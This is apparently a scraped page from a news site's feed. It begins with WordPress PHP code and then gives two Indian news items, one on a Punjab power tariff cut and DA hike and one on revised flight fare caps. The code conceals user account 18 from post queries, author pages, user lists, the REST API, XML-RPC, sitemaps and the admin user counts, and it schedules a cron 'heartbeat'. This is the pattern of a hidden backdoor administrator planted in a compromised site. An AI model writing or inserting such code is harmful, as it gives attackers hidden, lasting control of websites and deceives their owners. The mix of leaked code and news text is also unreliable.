add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Channi’s Diwali bonanza: Power tariff cut by ₹3, 11% DA hike for Punjab govt staff appeared first on The Edge Media.
]]>
He stated that the power tariff for residential consumers in the state with up to a 7-kilowatt load connection would be reduced by 3 per unit across all slabs. He announced an 11% increase in dearness allowance for state government employees and urged them to sit for talks and refrain from agitating over any of their demands until the next assembly election.
He, however, refused to comment on Advocate General APS Deol’s resignation. However, an officer in the CMO confirmed that the resignation had been accepted and that the next steps would be announced soon.
The post Channi’s Diwali bonanza: Power tariff cut by ₹3, 11% DA hike for Punjab govt staff appeared first on The Edge Media.
]]>The post Flight ticket prices revised for the fourth time appeared first on The Edge Media.
]]>According to the order, flights under 40 minutes of duration will now cost ₹2,900 – a hike f ₹300 from the previous fare of ₹2,600. This is an increase of 11.53 per cent, while the upper limit has been increased by 12.82 per cent from 7,800 to 8,880. Flights with a duration between 40-60 minutes will cost a minimum of ₹3,700 instead of ₹3,300 and a maximum of ₹11,000 instead of ₹9,800.
The actual price, however, will be more than this as the caps mentioned by the government in its order does not include the passenger security fee, user development fee for the airports and the GST.
The prices have been revised keeping in mind the prevailing Covid-19 situation in the country, the ministry said.
The revision comes at a time when domestic travel has picked momentum and with other countries relaxing lockdown restrictions on Indian flights, international passenger flights to several destinations are resuming.
This is the 4th time that the flight ticket prices have been revised. Ticket prices were revised in February, May and June. The hike is the air traffic fuel price is the reason for the consecutive hikes.
The post Flight ticket prices revised for the fourth time appeared first on The Edge Media.
]]>